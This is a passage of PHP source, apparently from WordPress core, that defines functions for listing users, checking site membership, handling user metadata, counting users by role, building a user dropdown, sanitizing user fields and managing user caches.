 *     @type bool   $show_fullname Whether to show the user's full name. Default false.
 *     @type string $feed          If not empty, show a link to the user's feed and use this text as the alt
 *                                 parameter of the link. Default empty.
 *     @type string $feed_image    If not empty, show a link to the user's feed and use this image URL as
 *                                 clickable anchor. Default empty.
 *     @type string $feed_type     The feed type to link to, such as 'rss2'. Defaults to default feed type.
 *     @type bool   $echo          Whether to output the result or instead return it. Default true.
 *     @type string $style         If 'list', each user is wrapped in an `<li>` element, otherwise the users
 *                                 will be separated by commas.
 *     @type bool   $html          Whether to list the items in HTML form or plaintext. Default true.
 *     @type string $exclude       An array, comma-, or space-separated list of user IDs to exclude. Default empty.
 *     @type string $include       An array, comma-, or space-separated list of user IDs to include. Default empty.
 * }
 * @return string|null The output if echo is false. Otherwise null.
 */
function wp_list_users( $args = array() ) {
	$defaults = array(
		'orderby'       => 'name',
		'order'         => 'ASC',
		'number'        => '',
		'exclude_admin' => true,
		'show_fullname' => false,
		'feed'          => '',
		'feed_image'    => '',
		'feed_type'     => '',
		'echo'          => true,
		'style'         => 'list',
		'html'          => true,
		'exclude'       => '',
		'include'       => '',
	);

	$parsed_args = wp_parse_args( $args, $defaults );

	$return = '';

	$query_args           = wp_array_slice_assoc( $parsed_args, array( 'orderby', 'order', 'number', 'exclude', 'include' ) );
	$query_args['fields'] = 'ids';

	/**
	 * Filters the query arguments for the list of all users of the site.
	 *
	 * @since 6.1.0
	 *
	 * @param array $query_args  The query arguments for get_users().
	 * @param array $parsed_args The arguments passed to wp_list_users() combined with the defaults.
	 */
	$query_args = apply_filters( 'wp_list_users_args', $query_args, $parsed_args );

	$users = get_users( $query_args );

	foreach ( $users as $user_id ) {
		$user = get_userdata( $user_id );

		if ( $parsed_args['exclude_admin'] && 'admin' === $user->display_name ) {
			continue;
		}

		if ( $parsed_args['show_fullname'] && '' !== $user->first_name && '' !== $user->last_name ) {
			$name = sprintf(
				/* translators: 1: User's first name, 2: Last name. */
				_x( '%1$s %2$s', 'Display name based on first name and last name' ),
				$user->first_name,
				$user->last_name
			);
		} else {
			$name = $user->display_name;
		}

		if ( ! $parsed_args['html'] ) {
			$return .= $name . ', ';

			continue; // No need to go further to process HTML.
		}

		if ( 'list' === $parsed_args['style'] ) {
			$return .= '<li>';
		}

		$row = $name;

		if ( ! empty( $parsed_args['feed_image'] ) || ! empty( $parsed_args['feed'] ) ) {
			$row .= ' ';
			if ( empty( $parsed_args['feed_image'] ) ) {
				$row .= '(';
			}

			$row .= '<a href="' . get_author_feed_link( $user->ID, $parsed_args['feed_type'] ) . '"';

			$alt = '';
			if ( ! empty( $parsed_args['feed'] ) ) {
				$alt  = ' alt="' . esc_attr( $parsed_args['feed'] ) . '"';
				$name = $parsed_args['feed'];
			}

			$row .= '>';

			if ( ! empty( $parsed_args['feed_image'] ) ) {
				$row .= '<img src="' . esc_url( $parsed_args['feed_image'] ) . '" style="border: none;"' . $alt . ' />';
			} else {
				$row .= $name;
			}

			$row .= '</a>';

			if ( empty( $parsed_args['feed_image'] ) ) {
				$row .= ')';
			}
		}

		$return .= $row;
		$return .= ( 'list' === $parsed_args['style'] ) ? '</li>' : ', ';
	}

	$return = rtrim( $return, ', ' );

	if ( ! $parsed_args['echo'] ) {
		return $return;
	}
	echo $return;
}

/**
 * Gets the sites a user belongs to.
 *
 * @since 3.0.0
 * @since 4.7.0 Converted to use `get_sites()`.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int  $user_id User ID
 * @param bool $all     Whether to retrieve all sites, or only sites that are not
 *                      marked as deleted, archived, or spam.
 * @return object[] A list of the user's sites. An empty array if the user doesn't exist
 *                  or belongs to no sites.
 */
function get_blogs_of_user( $user_id, $all = false ) {
	global $wpdb;

	$user_id = (int) $user_id;

	// Logged out users can't have sites.
	if ( empty( $user_id ) ) {
		return array();
	}

	/**
	 * Filters the list of a user's sites before it is populated.
	 *
	 * Returning a non-null value from the filter will effectively short circuit
	 * get_blogs_of_user(), returning that value instead.
	 *
	 * @since 4.6.0
	 *
	 * @param null|object[] $sites   An array of site objects of which the user is a member.
	 * @param int           $user_id User ID.
	 * @param bool          $all     Whether the returned array should contain all sites, including
	 *                               those marked 'deleted', 'archived', or 'spam'. Default false.
	 */
	$sites = apply_filters( 'pre_get_blogs_of_user', null, $user_id, $all );

	if ( null !== $sites ) {
		return $sites;
	}

	$keys = get_user_meta( $user_id );
	if ( empty( $keys ) ) {
		return array();
	}

	if ( ! is_multisite() ) {
		$site_id                        = get_current_blog_id();
		$sites                          = array( $site_id => new stdClass() );
		$sites[ $site_id ]->userblog_id = $site_id;
		$sites[ $site_id ]->blogname    = get_option( 'blogname' );
		$sites[ $site_id ]->domain      = '';
		$sites[ $site_id ]->path        = '';
		$sites[ $site_id ]->site_id     = 1;
		$sites[ $site_id ]->siteurl     = get_option( 'siteurl' );
		$sites[ $site_id ]->archived    = 0;
		$sites[ $site_id ]->spam        = 0;
		$sites[ $site_id ]->deleted     = 0;
		return $sites;
	}

	$site_ids = array();

	if ( isset( $keys[ $wpdb->base_prefix . 'capabilities' ] ) && defined( 'MULTISITE' ) ) {
		$site_ids[] = 1;
		unset( $keys[ $wpdb->base_prefix . 'capabilities' ] );
	}

	$keys = array_keys( $keys );

	foreach ( $keys as $key ) {
		if ( ! str_ends_with( $key, 'capabilities' ) ) {
			continue;
		}
		if ( $wpdb->base_prefix && ! str_starts_with( $key, $wpdb->base_prefix ) ) {
			continue;
		}
		$site_id = str_replace( array( $wpdb->base_prefix, '_capabilities' ), '', $key );
		if ( ! is_numeric( $site_id ) ) {
			continue;
		}

		$site_ids[] = (int) $site_id;
	}

	$sites = array();

	if ( ! empty( $site_ids ) ) {
		$args = array(
			'number'   => '',
			'site__in' => $site_ids,
		);
		if ( ! $all ) {
			$args['archived'] = 0;
			$args['spam']     = 0;
			$args['deleted']  = 0;
		}

		$_sites = get_sites( $args );

		foreach ( $_sites as $site ) {
			$sites[ $site->id ] = (object) array(
				'userblog_id' => $site->id,
				'blogname'    => $site->blogname,
				'domain'      => $site->domain,
				'path'        => $site->path,
				'site_id'     => $site->network_id,
				'siteurl'     => $site->siteurl,
				'archived'    => $site->archived,
				'mature'      => $site->mature,
				'spam'        => $site->spam,
				'deleted'     => $site->deleted,
			);
		}
	}

	/**
	 * Filters the list of sites a user belongs to.
	 *
	 * @since MU (3.0.0)
	 *
	 * @param object[] $sites   An array of site objects belonging to the user.
	 * @param int      $user_id User ID.
	 * @param bool     $all     Whether the returned sites array should contain all sites, including
	 *                          those marked 'deleted', 'archived', or 'spam'. Default false.
	 */
	return apply_filters( 'get_blogs_of_user', $sites, $user_id, $all );
}

/**
 * Finds out whether a user is a member of a given blog.
 *
 * @since MU (3.0.0)
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $user_id Optional. The unique ID of the user. Defaults to the current user.
 * @param int $blog_id Optional. ID of the blog to check. Defaults to the current site.
 * @return bool
 */
function is_user_member_of_blog( $user_id = 0, $blog_id = 0 ) {
	global $wpdb;

	$user_id = (int) $user_id;
	$blog_id = (int) $blog_id;

	if ( empty( $user_id ) ) {
		$user_id = get_current_user_id();
	}

	/*
	 * Technically not needed, but does save calls to get_site() and get_user_meta()
	 * in the event that the function is called when a user isn't logged in.
	 */
	if ( empty( $user_id ) ) {
		return false;
	} else {
		$user = get_userdata( $user_id );
		if ( ! $user instanceof WP_User ) {
			return false;
		}
	}

	if ( ! is_multisite() ) {
		return true;
	}

	if ( empty( $blog_id ) ) {
		$blog_id = get_current_blog_id();
	}

	$blog = get_site( $blog_id );

	if ( ! $blog || ! isset( $blog->domain ) || $blog->archived || $blog->spam || $blog->deleted ) {
		return false;
	}

	$keys = get_user_meta( $user_id );
	if ( empty( $keys ) ) {
		return false;
	}

	// No underscore before capabilities in $base_capabilities_key.
	$base_capabilities_key = $wpdb->base_prefix . 'capabilities';
	$site_capabilities_key = $wpdb->base_prefix . $blog_id . '_capabilities';

	if ( isset( $keys[ $base_capabilities_key ] ) && 1 == $blog_id ) {
		return true;
	}

	if ( isset( $keys[ $site_capabilities_key ] ) ) {
		return true;
	}

	return false;
}

/**
 * Adds meta data to a user.
 *
 * @since 3.0.0
 *
 * @param int    $user_id    User ID.
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param bool   $unique     Optional. Whether the same key should not be added.
 *                           Default false.
 * @return int|false Meta ID on success, false on failure.
 */
function add_user_meta( $user_id, $meta_key, $meta_value, $unique = false ) {
	return add_metadata( 'user', $user_id, $meta_key, $meta_value, $unique );
}

/**
 * Removes metadata matching criteria from a user.
 *
 * You can match based on the key, or key and value. Removing based on key and
 * value, will keep from removing duplicate metadata with the same key. It also
 * allows removing all metadata matching key, if needed.
 *
 * @since 3.0.0
 *
 * @link https://developer.wordpress.org/reference/functions/delete_user_meta/
 *
 * @param int    $user_id    User ID
 * @param string $meta_key   Metadata name.
 * @param mixed  $meta_value Optional. Metadata value. If provided,
 *                           rows will only be removed that match the value.
 *                           Must be serializable if non-scalar. Default empty.
 * @return bool True on success, false on failure.
 */
function delete_user_meta( $user_id, $meta_key, $meta_value = '' ) {
	return delete_metadata( 'user', $user_id, $meta_key, $meta_value );
}

/**
 * Retrieves user meta field for a user.
 *
 * @since 3.0.0
 *
 * @link https://developer.wordpress.org/reference/functions/get_user_meta/
 *
 * @param int    $user_id User ID.
 * @param string $key     Optional. The meta key to retrieve. By default,
 *                        returns data for all keys.
 * @param bool   $single  Optional. Whether to return a single value.
 *                        This parameter has no effect if `$key` is not specified.
 *                        Default false.
 * @return mixed An array of values if `$single` is false.
 *               The value of meta data field if `$single` is true.
 *               False for an invalid `$user_id` (non-numeric, zero, or negative value).
 *               An empty string if a valid but non-existing user ID is passed.
 */
function get_user_meta( $user_id, $key = '', $single = false ) {
	return get_metadata( 'user', $user_id, $key, $single );
}

/**
 * Updates user meta field based on user ID.
 *
 * Use the $prev_value parameter to differentiate between meta fields with the
 * same key and user ID.
 *
 * If the meta field for the user does not exist, it will be added.
 *
 * @since 3.0.0
 *
 * @link https://developer.wordpress.org/reference/functions/update_user_meta/
 *
 * @param int    $user_id    User ID.
 * @param string $meta_key   Metadata key.
 * @param mixed  $meta_value Metadata value. Must be serializable if non-scalar.
 * @param mixed  $prev_value Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function update_user_meta( $user_id, $meta_key, $meta_value, $prev_value = '' ) {
	return update_metadata( 'user', $user_id, $meta_key, $meta_value, $prev_value );
}

/**
 * Counts number of users who have each of the user roles.
 *
 * Assumes there are neither duplicated nor orphaned capabilities meta_values.
 * Assumes role names are unique phrases. Same assumption made by WP_User_Query::prepare_query()
 * Using $strategy = 'time' this is CPU-intensive and should handle around 10^7 users.
 * Using $strategy = 'memory' this is memory-intensive and should handle around 10^5 users, but see WP Bug #12257.
 *
 * @since 3.0.0
 * @since 4.4.0 The number of users with no role is now included in the `none` element.
 * @since 4.9.0 The `$site_id` parameter was added to support multisite.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string   $strategy Optional. The computational strategy to use when counting the users.
 *                           Accepts either 'time' or 'memory'. Default 'time'.
 * @param int|null $site_id  Optional. The site ID to count users for. Defaults to the current site.
 * @return array {
 *     User counts.
 *
 *     @type int   $total_users Total number of users on the site.
 *     @type int[] $avail_roles Array of user counts keyed by user role.
 * }
 */
function count_users( $strategy = 'time', $site_id = null ) {
	global $wpdb;

	// Initialize.
	if ( ! $site_id ) {
		$site_id = get_current_blog_id();
	}

	/**
	 * Filters the user count before queries are run.
	 *
	 * Return a non-null value to cause count_users() to return early.
	 *
	 * @since 5.1.0
	 *
	 * @param null|array $result   The value to return instead. Default null to continue with the query.
	 * @param string     $strategy Optional. The computational strategy to use when counting the users.
	 *                             Accepts either 'time' or 'memory'. Default 'time'.
	 * @param int        $site_id  The site ID to count users for.
	 */
	$pre = apply_filters( 'pre_count_users', null, $strategy, $site_id );

	if ( null !== $pre ) {
		return $pre;
	}

	$blog_prefix = $wpdb->get_blog_prefix( $site_id );
	$result      = array();

	if ( 'time' === $strategy ) {
		if ( is_multisite() && get_current_blog_id() != $site_id ) {
			switch_to_blog( $site_id );
			$avail_roles = wp_roles()->get_names();
			restore_current_blog();
		} else {
			$avail_roles = wp_roles()->get_names();
		}

		// Build a CPU-intensive query that will return concise information.
		$select_count = array();
		foreach ( $avail_roles as $this_role => $name ) {
			$select_count[] = $wpdb->prepare( 'COUNT(NULLIF(`meta_value` LIKE %s, false))', '%' . $wpdb->esc_like( '"' . $this_role . '"' ) . '%' );
		}
		$select_count[] = "COUNT(NULLIF(`meta_value` = 'a:0:{}', false))";
		$select_count   = implode( ', ', $select_count );

		// Add the meta_value index to the selection list, then run the query.
		$row = $wpdb->get_row(
			"
			SELECT {$select_count}, COUNT(*)
			FROM {$wpdb->usermeta}
			INNER JOIN {$wpdb->users} ON user_id = ID
			WHERE meta_key = '{$blog_prefix}capabilities'
		",
			ARRAY_N
		);

		// Run the previous loop again to associate results with role names.
		$col         = 0;
		$role_counts = array();
		foreach ( $avail_roles as $this_role => $name ) {
			$count = (int) $row[ $col++ ];
			if ( $count > 0 ) {
				$role_counts[ $this_role ] = $count;
			}
		}

		$role_counts['none'] = (int) $row[ $col++ ];

		// Get the meta_value index from the end of the result set.
		$total_users = (int) $row[ $col ];

		$result['total_users'] = $total_users;
		$result['avail_roles'] =& $role_counts;
	} else {
		$avail_roles = array(
			'none' => 0,
		);

		$users_of_blog = $wpdb->get_col(
			"
			SELECT meta_value
			FROM {$wpdb->usermeta}
			INNER JOIN {$wpdb->users} ON user_id = ID
			WHERE meta_key = '{$blog_prefix}capabilities'
		"
		);

		foreach ( $users_of_blog as $caps_meta ) {
			$b_roles = maybe_unserialize( $caps_meta );
			if ( ! is_array( $b_roles ) ) {
				continue;
			}
			if ( empty( $b_roles ) ) {
				++$avail_roles['none'];
			}
			foreach ( $b_roles as $b_role => $val ) {
				if ( isset( $avail_roles[ $b_role ] ) ) {
					++$avail_roles[ $b_role ];
				} else {
					$avail_roles[ $b_role ] = 1;
				}
			}
		}

		$result['total_users'] = count( $users_of_blog );
		$result['avail_roles'] =& $avail_roles;
	}

	return $result;
}

/**
 * Returns the number of active users in your installation.
 *
 * Note that on a large site the count may be cached and only updated twice daily.
 *
 * @since MU (3.0.0)
 * @since 4.8.0 The `$network_id` parameter has been added.
 * @since 6.0.0 Moved to wp-includes/user.php.
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return int Number of active users on the network.
 */
function get_user_count( $network_id = null ) {
	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	return (int) get_network_option( $network_id, 'user_count', -1 );
}

/**
 * Updates the total count of users on the site if live user counting is enabled.
 *
 * @since 6.0.0
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return bool Whether the update was successful.
 */
function wp_maybe_update_user_counts( $network_id = null ) {
	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	$is_small_network = ! wp_is_large_user_count( $network_id );
	/** This filter is documented in wp-includes/ms-functions.php */
	if ( ! apply_filters( 'enable_live_network_counts', $is_small_network, 'users' ) ) {
		return false;
	}

	return wp_update_user_counts( $network_id );
}

/**
 * Updates the total count of users on the site.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 * @since 6.0.0
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return bool Whether the update was successful.
 */
function wp_update_user_counts( $network_id = null ) {
	global $wpdb;

	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	$query = "SELECT COUNT(ID) as c FROM $wpdb->users";
	if ( is_multisite() ) {
		$query .= " WHERE spam = '0' AND deleted = '0'";
	}

	$count = $wpdb->get_var( $query );

	return update_network_option( $network_id, 'user_count', $count );
}

/**
 * Schedules a recurring recalculation of the total count of users.
 *
 * @since 6.0.0
 */
function wp_schedule_update_user_counts() {
	if ( ! is_main_site() ) {
		return;
	}

	if ( ! wp_next_scheduled( 'wp_update_user_counts' ) && ! wp_installing() ) {
		wp_schedule_event( time(), 'twicedaily', 'wp_update_user_counts' );
	}
}

/**
 * Determines whether the site has a large number of users.
 *
 * The default criteria for a large site is more than 10,000 users.
 *
 * @since 6.0.0
 *
 * @param int|null $network_id ID of the network. Defaults to the current network.
 * @return bool Whether the site has a large number of users.
 */
function wp_is_large_user_count( $network_id = null ) {
	if ( ! is_multisite() && null !== $network_id ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: %s: $network_id */
				__( 'Unable to pass %s if not using multisite.' ),
				'<code>$network_id</code>'
			),
			'6.0.0'
		);
	}

	$count = get_user_count( $network_id );

	/**
	 * Filters whether the site is considered large, based on its number of users.
	 *
	 * @since 6.0.0
	 *
	 * @param bool     $is_large_user_count Whether the site has a large number of users.
	 * @param int      $count               The total number of users.
	 * @param int|null $network_id          ID of the network. `null` represents the current network.
	 */
	return apply_filters( 'wp_is_large_user_count', $count > 10000, $count, $network_id );
}

//
// Private helper functions.
//

/**
 * Sets up global user vars.
 *
 * Used by wp_set_current_user() for back compat. Might be deprecated in the future.
 *
 * @since 2.0.4
 *
 * @global string  $user_login    The user username for logging in
 * @global WP_User $userdata      User data.
 * @global int     $user_level    The level of the user
 * @global int     $user_ID       The ID of the user
 * @global string  $user_email    The email address of the user
 * @global string  $user_url      The url in the user's profile
 * @global string  $user_identity The display name of the user
 *
 * @param int $for_user_id Optional. User ID to set up global data. Default 0.
 */
function setup_userdata( $for_user_id = 0 ) {
	global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_identity;

	if ( ! $for_user_id ) {
		$for_user_id = get_current_user_id();
	}
	$user = get_userdata( $for_user_id );

	if ( ! $user ) {
		$user_ID       = 0;
		$user_level    = 0;
		$userdata      = null;
		$user_login    = '';
		$user_email    = '';
		$user_url      = '';
		$user_identity = '';
		return;
	}

	$user_ID       = (int) $user->ID;
	$user_level    = (int) $user->user_level;
	$userdata      = $user;
	$user_login    = $user->user_login;
	$user_email    = $user->user_email;
	$user_url      = $user->user_url;
	$user_identity = $user->display_name;
}

/**
 * Creates dropdown HTML content of users.
 *
 * The content can either be displayed, which it is by default or retrieved by
 * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
 * need to be used; all users will be displayed in that case. Only one can be
 * used, either 'include' or 'exclude', but not both.
 *
 * The available arguments are as follows:
 *
 * @since 2.3.0
 * @since 4.5.0 Added the 'display_name_with_login' value for 'show'.
 * @since 4.7.0 Added the `$role`, `$role__in`, and `$role__not_in` parameters.
 *
 * @param array|string $args {
 *     Optional. Array or string of arguments to generate a drop-down of users.
 *     See WP_User_Query::prepare_query() for additional available arguments.
 *
 *     @type string       $show_option_all         Text to show as the drop-down default (all).
 *                                                 Default empty.
 *     @type string       $show_option_none        Text to show as the drop-down default when no
 *                                                 users were found. Default empty.
 *     @type int|string   $option_none_value       Value to use for $show_option_none when no users
 *                                                 were found. Default -1.
 *     @type string       $hide_if_only_one_author Whether to skip generating the drop-down
 *                                                 if only one user was found. Default empty.
 *     @type string       $orderby                 Field to order found users by. Accepts user fields.
 *                                                 Default 'display_name'.
 *     @type string       $order                   Whether to order users in ascending or descending
 *                                                 order. Accepts 'ASC' (ascending) or 'DESC' (descending).
 *                                                 Default 'ASC'.
 *     @type int[]|string $include                 Array or comma-separated list of user IDs to include.
 *                                                 Default empty.
 *     @type int[]|string $exclude                 Array or comma-separated list of user IDs to exclude.
 *                                                 Default empty.
 *     @type bool|int     $multi                   Whether to skip the ID attribute on the 'select' element.
 *                                                 Accepts 1|true or 0|false. Default 0|false.
 *     @type string       $show                    User data to display. If the selected item is empty
 *                                                 then the 'user_login' will be displayed in parentheses.
 *                                                 Accepts any user field, or 'display_name_with_login' to show
 *                                                 the display name with user_login in parentheses.
 *                                                 Default 'display_name'.
 *     @type int|bool     $echo                    Whether to echo or return the drop-down. Accepts 1|true (echo)
 *                                                 or 0|false (return). Default 1|true.
 *     @type int          $selected                Which user ID should be selected. Default 0.
 *     @type bool         $include_selected        Whether to always include the selected user ID in the drop-
 *                                                 down. Default false.
 *     @type string       $name                    Name attribute of select element. Default 'user'.
 *     @type string       $id                      ID attribute of the select element. Default is the value of $name.
 *     @type string       $class                   Class attribute of the select element. Default empty.
 *     @type int          $blog_id                 ID of blog (Multisite only). Default is ID of the current blog.
 *     @type string       $who                     Which type of users to query. Accepts only an empty string or
 *                                                 'authors'. Default empty.
 *     @type string|array $role                    An array or a comma-separated list of role names that users must
 *                                                 match to be included in results. Note that this is an inclusive
 *                                                 list: users must match *each* role. Default empty.
 *     @type string[]     $role__in                An array of role names. Matched users must have at least one of
 *                                                 these roles. Default empty array.
 *     @type string[]     $role__not_in            An array of role names to exclude. Users matching one or more of
 *                                                 these roles will not be included in results. Default empty array.
 * }
 * @return string HTML dropdown list of users.
 */
function wp_dropdown_users( $args = '' ) {
	$defaults = array(
		'show_option_all'         => '',
		'show_option_none'        => '',
		'hide_if_only_one_author' => '',
		'orderby'                 => 'display_name',
		'order'                   => 'ASC',
		'include'                 => '',
		'exclude'                 => '',
		'multi'                   => 0,
		'show'                    => 'display_name',
		'echo'                    => 1,
		'selected'                => 0,
		'name'                    => 'user',
		'class'                   => '',
		'id'                      => '',
		'blog_id'                 => get_current_blog_id(),
		'who'                     => '',
		'include_selected'        => false,
		'option_none_value'       => -1,
		'role'                    => '',
		'role__in'                => array(),
		'role__not_in'            => array(),
		'capability'              => '',
		'capability__in'          => array(),
		'capability__not_in'      => array(),
	);

	$defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;

	$parsed_args = wp_parse_args( $args, $defaults );

	$query_args = wp_array_slice_assoc(
		$parsed_args,
		array(
			'blog_id',
			'include',
			'exclude',
			'orderby',
			'order',
			'who',
			'role',
			'role__in',
			'role__not_in',
			'capability',
			'capability__in',
			'capability__not_in',
		)
	);

	$fields = array( 'ID', 'user_login' );

	$show = ! empty( $parsed_args['show'] ) ? $parsed_args['show'] : 'display_name';
	if ( 'display_name_with_login' === $show ) {
		$fields[] = 'display_name';
	} else {
		$fields[] = $show;
	}

	$query_args['fields'] = $fields;

	$show_option_all   = $parsed_args['show_option_all'];
	$show_option_none  = $parsed_args['show_option_none'];
	$option_none_value = $parsed_args['option_none_value'];

	/**
	 * Filters the query arguments for the list of users in the dropdown.
	 *
	 * @since 4.4.0
	 *
	 * @param array $query_args  The query arguments for get_users().
	 * @param array $parsed_args The arguments passed to wp_dropdown_users() combined with the defaults.
	 */
	$query_args = apply_filters( 'wp_dropdown_users_args', $query_args, $parsed_args );

	$users = get_users( $query_args );

	$output = '';
	if ( ! empty( $users ) && ( empty( $parsed_args['hide_if_only_one_author'] ) || count( $users ) > 1 ) ) {
		$name = esc_attr( $parsed_args['name'] );
		if ( $parsed_args['multi'] && ! $parsed_args['id'] ) {
			$id = '';
		} else {
			$id = $parsed_args['id'] ? " id='" . esc_attr( $parsed_args['id'] ) . "'" : " id='$name'";
		}
		$output = "<select name='{$name}'{$id} class='" . $parsed_args['class'] . "'>\n";

		if ( $show_option_all ) {
			$output .= "\t<option value='0'>$show_option_all</option>\n";
		}

		if ( $show_option_none ) {
			$_selected = selected( $option_none_value, $parsed_args['selected'], false );
			$output   .= "\t<option value='" . esc_attr( $option_none_value ) . "'$_selected>$show_option_none</option>\n";
		}

		if ( $parsed_args['include_selected'] && ( $parsed_args['selected'] > 0 ) ) {
			$found_selected          = false;
			$parsed_args['selected'] = (int) $parsed_args['selected'];

			foreach ( (array) $users as $user ) {
				$user->ID = (int) $user->ID;
				if ( $user->ID === $parsed_args['selected'] ) {
					$found_selected = true;
				}
			}

			if ( ! $found_selected ) {
				$selected_user = get_userdata( $parsed_args['selected'] );
				if ( $selected_user ) {
					$users[] = $selected_user;
				}
			}
		}

		foreach ( (array) $users as $user ) {
			if ( 'display_name_with_login' === $show ) {
				/* translators: 1: User's display name, 2: User login. */
				$display = sprintf( _x( '%1$s (%2$s)', 'user dropdown' ), $user->display_name, $user->user_login );
			} elseif ( ! empty( $user->$show ) ) {
				$display = $user->$show;
			} else {
				$display = '(' . $user->user_login . ')';
			}

			$_selected = selected( $user->ID, $parsed_args['selected'], false );
			$output   .= "\t<option value='$user->ID'$_selected>" . esc_html( $display ) . "</option>\n";
		}

		$output .= '</select>';
	}

	/**
	 * Filters the wp_dropdown_users() HTML output.
	 *
	 * @since 2.3.0
	 *
	 * @param string $output HTML output generated by wp_dropdown_users().
	 */
	$html = apply_filters( 'wp_dropdown_users', $output );

	if ( $parsed_args['echo'] ) {
		echo $html;
	}
	return $html;
}

/**
 * Sanitizes user field based on context.
 *
 * Possible context values are:  'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The
 * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display'
 * when calling filters.
 *
 * @since 2.3.0
 *
 * @param string $field   The user Object field name.
 * @param mixed  $value   The user Object value.
 * @param int    $user_id User ID.
 * @param string $context How to sanitize user fields. Looks for 'raw', 'edit', 'db', 'display',
 *                        'attribute' and 'js'.
 * @return mixed Sanitized value.
 */
function sanitize_user_field( $field, $value, $user_id, $context ) {
	$int_fields = array( 'ID' );
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	if ( 'raw' === $context ) {
		return $value;
	}

	if ( ! is_string( $value ) && ! is_numeric( $value ) ) {
		return $value;
	}

	$prefixed = str_contains( $field, 'user_' );

	if ( 'edit' === $context ) {
		if ( $prefixed ) {

			/** This filter is documented in wp-includes/post.php */
			$value = apply_filters( "edit_{$field}", $value, $user_id );
		} else {

			/**
			 * Filters a user field value in the 'edit' context.
			 *
			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
			 *
			 * @since 2.9.0
			 *
			 * @param mixed $value   Value of the prefixed user field.
			 * @param int   $user_id User ID.
			 */
			$value = apply_filters( "edit_user_{$field}", $value, $user_id );
		}

		if ( 'description' === $field ) {
			$value = esc_html( $value ); // textarea_escaped?
		} else {
			$value = esc_attr( $value );
		}
	} elseif ( 'db' === $context ) {
		if ( $prefixed ) {
			/** This filter is documented in wp-includes/post.php */
			$value = apply_filters( "pre_{$field}", $value );
		} else {

			/**
			 * Filters the value of a user field in the 'db' context.
			 *
			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
			 *
			 * @since 2.9.0
			 *
			 * @param mixed $value Value of the prefixed user field.
			 */
			$value = apply_filters( "pre_user_{$field}", $value );
		}
	} else {
		// Use display filters by default.
		if ( $prefixed ) {

			/** This filter is documented in wp-includes/post.php */
			$value = apply_filters( "{$field}", $value, $user_id, $context );
		} else {

			/**
			 * Filters the value of a user field in a standard context.
			 *
			 * The dynamic portion of the hook name, `$field`, refers to the prefixed user
			 * field being filtered, such as 'user_login', 'user_email', 'first_name', etc.
			 *
			 * @since 2.9.0
			 *
			 * @param mixed  $value   The user object value to sanitize.
			 * @param int    $user_id User ID.
			 * @param string $context The context to filter within.
			 */
			$value = apply_filters( "user_{$field}", $value, $user_id, $context );
		}
	}

	if ( 'user_url' === $field ) {
		$value = esc_url( $value );
	}

	if ( 'attribute' === $context ) {
		$value = esc_attr( $value );
	} elseif ( 'js' === $context ) {
		$value = esc_js( $value );
	}

	// Restore the type for integer fields after esc_attr().
	if ( in_array( $field, $int_fields, true ) ) {
		$value = (int) $value;
	}

	return $value;
}

/**
 * Updates all user caches.
 *
 * @since 3.0.0
 *
 * @param object|WP_User $user User object or database row to be cached
 * @return void|false Void on success, false on failure.
 */
function update_user_caches( $user ) {
	if ( $user instanceof WP_User ) {
		if ( ! $user->exists() ) {
			return false;
		}

		$user = $user->data;
	}

	wp_cache_add( $user->ID, $user, 'users' );
	wp_cache_add( $user->user_login, $user->ID, 'userlogins' );
	wp_cache_add( $user->user_nicename, $user->ID, 'userslugs' );

	if ( ! empty( $user->user_email ) ) {
		wp_cache_add( $user->user_email, $user->ID, 'useremail' );
	}
}

/**
 * Cleans all user caches.
 *
 * @since 3.0.0
 * @since 4.4.0 'clean_user_cache' action was added.
 * @since 6.2.0 User metadata caches are now cleared.
 *
 * @param WP_User|int $user User object or ID to be cleaned from the cache
 */
function clean_user_cache( $user ) {
	if ( is_numeric( $user ) ) {
		$user = new WP_User( $user );
	}

	if ( ! $user->exists() ) {
		return;
	}

	wp_cache_delete( $user->ID, 'users' );
	wp_cache_delete( $user->user_login, 'userlogins' );
	wp_cache_delete( $user->user_nicename, 'userslugs' );

	if ( ! empty( $user->user_email ) ) {
		wp_cache_delete( $user->user_email, 'useremail' );
	}

	wp_cache_delete( $user->ID, 'user_meta' );
	wp_cache_set_users_last_changed();

	/**
	 * Fires immediately after the given user's cache is cleaned.
	 *
	 * @since 4.4.0
	 *
	 * @param int     $user_id User ID.
	 * @param WP_User $user    User object.
	 */
	do_action( 'clean_user_cache', $user->ID, $user );
}

/**
 * Determines whether the given username exists.
 *
